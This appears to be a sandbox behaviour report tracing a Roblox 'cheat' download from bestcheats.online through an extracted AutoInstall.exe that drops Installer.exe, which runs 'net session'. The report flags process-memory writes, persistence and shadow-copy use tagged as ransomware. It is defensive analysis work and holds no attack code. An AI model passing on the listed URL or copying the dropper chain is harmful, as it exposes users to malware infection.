3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe
1080	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5164	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 4724	3024	chrome.exe	83
PID 3024 wrote to memory of 3760	3024	chrome.exe	84
PID 3024 wrote to memory of 3760	3024	chrome.exe	84
PID 3024 wrote to memory of 3148	3024	chrome.exe	85
PID 3024 wrote to memory of 3632	3024	chrome.exe	86
PID 3024 wrote to memory of 3632	3024	chrome.exe	86
PID 3024 wrote to memory of 4548	3024	chrome.exe	87
PID 3024 wrote to memory of 3852	3024	chrome.exe	88
PID 3024 wrote to memory of 4548	3024	chrome.exe	87
PID 3024 wrote to memory of 3852	3024	chrome.exe	88
PID 3024 wrote to memory of 4344	3024	chrome.exe	90
PID 3024 wrote to memory of 4344	3024	chrome.exe	90
PID 3024 wrote to memory of 3768	3024	chrome.exe	92
PID 3024 wrote to memory of 3768	3024	chrome.exe	92
PID 3024 wrote to memory of 1836	3024	chrome.exe	97
PID 3024 wrote to memory of 704	3024	chrome.exe	100
PID 3024 wrote to memory of 704	3024	chrome.exe	100
PID 3024 wrote to memory of 1952	3024	chrome.exe	102
PID 3024 wrote to memory of 1952	3024	chrome.exe	102
PID 3024 wrote to memory of 4576	3024	chrome.exe	103
PID 3024 wrote to memory of 3636	3024	chrome.exe	105
PID 3024 wrote to memory of 3636	3024	chrome.exe	105
PID 3024 wrote to memory of 4212	3024	chrome.exe	108
PID 3024 wrote to memory of 4968	3024	chrome.exe	109
PID 3024 wrote to memory of 3804	3024	chrome.exe	110
PID 3024 wrote to memory of 1836	3024	chrome.exe	111
PID 3024 wrote to memory of 1836	3024	chrome.exe	111
PID 3024 wrote to memory of 1872	3024	chrome.exe	112
PID 3024 wrote to memory of 5108	3024	chrome.exe	114
PID 1080 wrote to memory of 4716	1080	chrome.exe	121
PID 1080 wrote to memory of 2928	1080	chrome.exe	123
PID 1080 wrote to memory of 1232	1080	chrome.exe	124
PID 1080 wrote to memory of 1232	1080	chrome.exe	124
PID 1080 wrote to memory of 2724	1080	chrome.exe	125
PID 1080 wrote to memory of 2724	1080	chrome.exe	125
PID 1080 wrote to memory of 3620	1080	chrome.exe	126
PID 1080 wrote to memory of 3748	1080	chrome.exe	127
PID 1080 wrote to memory of 3620	1080	chrome.exe	126
PID 1080 wrote to memory of 3748	1080	chrome.exe	127
PID 1080 wrote to memory of 5092	1080	chrome.exe	128
PID 1080 wrote to memory of 5092	1080	chrome.exe	128
PID 1080 wrote to memory of 968	1080	chrome.exe	129
PID 3752 wrote to memory of 872	3752	AutoInstall.exe	131
PID 872 wrote to memory of 3880	872	Installer.exe	133
PID 872 wrote to memory of 3988	872	Installer.exe	134
PID 3880 wrote to memory of 3660	3880	cmd.exe	136
PID 3660 wrote to memory of 2076	3660	net.exe	137
PID 1080 wrote to memory of 1696	1080	chrome.exe	138
PID 1080 wrote to memory of 1696	1080	chrome.exe	138
PID 1080 wrote to memory of 1132	1080	chrome.exe	139
PID 1080 wrote to memory of 1132	1080	chrome.exe	139
PID 1080 wrote to memory of 1332	1080	chrome.exe	140
PID 1080 wrote to memory of 1332	1080	chrome.exe	140
PID 1080 wrote to memory of 1120	1080	chrome.exe	141
PID 1080 wrote to memory of 1120	1080	chrome.exe	141
PID 1080 wrote to memory of 3532	1080	chrome.exe	142
PID 1080 wrote to memory of 5000	1080	chrome.exe	143
PID 1080 wrote to memory of 3760	1080	chrome.exe	144
PID 872 wrote to memory of 4816	872	Installer.exe	145
PID 872 wrote to memory of 4984	872	Installer.exe	146
PID 872 wrote to memory of 3748	872	Installer.exe	147
PID 3748 wrote to memory of 4612	3748	cmd.exe	149
PID 872 wrote to memory of 5168	872	Installer.exe	150
PID 5168 wrote to memory of 5256	5168	cmd.exe	152

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://bestcheats.online/download/?game=Roblox
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffe4069c728,0x7ffe4069c734,0x7ffe4069c740
  2⤵
  PID:4724
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1704,i,12363351399880852499,1088014986601947238,262144 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:2
  2⤵
  PID:3760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1612,i,409094702388015717,13394502261075668877,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1608 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2400,i,1589236058064419933,4461006511020628298,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2344 /prefetch:8
  2⤵
  PID:3632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,11108719368561237735,183531880414928547,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3148 /prefetch:1
  2⤵
  PID:4548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,18235856411833996580,4131198026485293808,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:3852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4432,i,5889069739584722289,13222978895204877793,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3100 /prefetch:2
  2⤵
  PID:4344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4692,i,13234169361613812148,405742265612252112,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4688 /prefetch:1
  2⤵
  PID:3768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5236,i,7666310809679218844,384060901879545969,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5240 /prefetch:8
  2⤵
  PID:1836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5384,i,12976690266311359672,1877868067465361033,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5260 /prefetch:1
  2⤵
  PID:704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5648,i,4341359190324253558,3093791766255907802,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5848 /prefetch:1
  2⤵
  PID:1952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5992,i,2344198173942265167,4893571490512410342,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4800 /prefetch:8
  2⤵
  PID:4576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6132,i,15758197676295146978,5048354616417354570,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5276 /prefetch:1
  2⤵
  PID:3636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5972,i,8286448164274798870,55994085106693504,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5856 /prefetch:8
  2⤵
  PID:4212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5872,i,6497512293264326342,362475539174121569,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5240 /prefetch:8
  2⤵
  PID:4968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4792,i,17057508358430177229,7723776554563669277,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:3804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5908,i,13787303174959036303,63500689387679358,2097152 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4820 /prefetch:1
  2⤵
  PID:1836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6288,i,8573801925623742015,1868617392462650006,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5876 /prefetch:8
  2⤵
  PID:1872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6316,i,5102094518338099710,2608494336635953738,524288 --field-trial-handle=1972,i,3133147449875174010,4229489634644880526,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6108 /prefetch:8
  2⤵
  PID:5108

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2020

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\c90aa4bbb35647d686d54ed0efda1000 /t 4500 /p 3024
1⤵
PID:1684

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:644

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Installer\" -spe -an -ai#7zMap18309:80:7zEvent28414
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4664

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ffe4069c728,0x7ffe4069c734,0x7ffe4069c740
  2⤵
  PID:4716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1956,i,807767135021893540,1047195681619349415,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2092 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,15311770601198603967,9950257429977727146,262144 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2052 /prefetch:2
  2⤵
  PID:1232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,7153380992292680587,15287808989948852507,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2420 /prefetch:8
  2⤵
  PID:2724
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,6283047886238132869,3682025519957819180,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3232 /prefetch:1
  2⤵
  PID:3620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3252,i,10882091809800122981,8449188855904406716,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:3748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4412,i,319135427496331047,5863980081612706617,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4596 /prefetch:1
  2⤵
  PID:5092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5240,i,1909666346110726079,7571315700579095981,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5248 /prefetch:8
  2⤵
  PID:968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5408,i,12175730323482589804,2131821935696643881,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5292 /prefetch:1
  2⤵
  PID:1696
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5608,i,15793599785979063419,7046151818118070614,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5628 /prefetch:1
  2⤵
  PID:1132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3380,i,6486965308775380292,2574262890066920245,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3480 /prefetch:1
  2⤵
  PID:1332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4588,i,944314715306464624,16603137299419587251,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4688 /prefetch:8
  2⤵
  PID:1120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4636,i,16924671350326403766,9684597751541244332,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3700 /prefetch:8
  2⤵
  PID:3532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4620,i,18062600261490454264,6315383111818721381,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4588 /prefetch:8
  2⤵
  PID:5000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,16530276075119472,17049428002406358485,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3940 /prefetch:8
  2⤵
  PID:3760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3488,i,11686356731551443668,14920452442519316720,524288 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4604 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:5164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5816,i,2587794462938084106,14305065314941361045,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3224 /prefetch:1
  2⤵
  PID:6096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3440,i,16016563239250808227,4584280903038731075,2097152 --field-trial-handle=2060,i,15590986318343209027,7484224731928050916,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5744 /prefetch:1
  2⤵
  PID:5492

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:880

C:\Users\Admin\Downloads\Installer\AutoInstall.exe
"C:\Users\Admin\Downloads\Installer\AutoInstall.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3752
- C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2076
- - C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
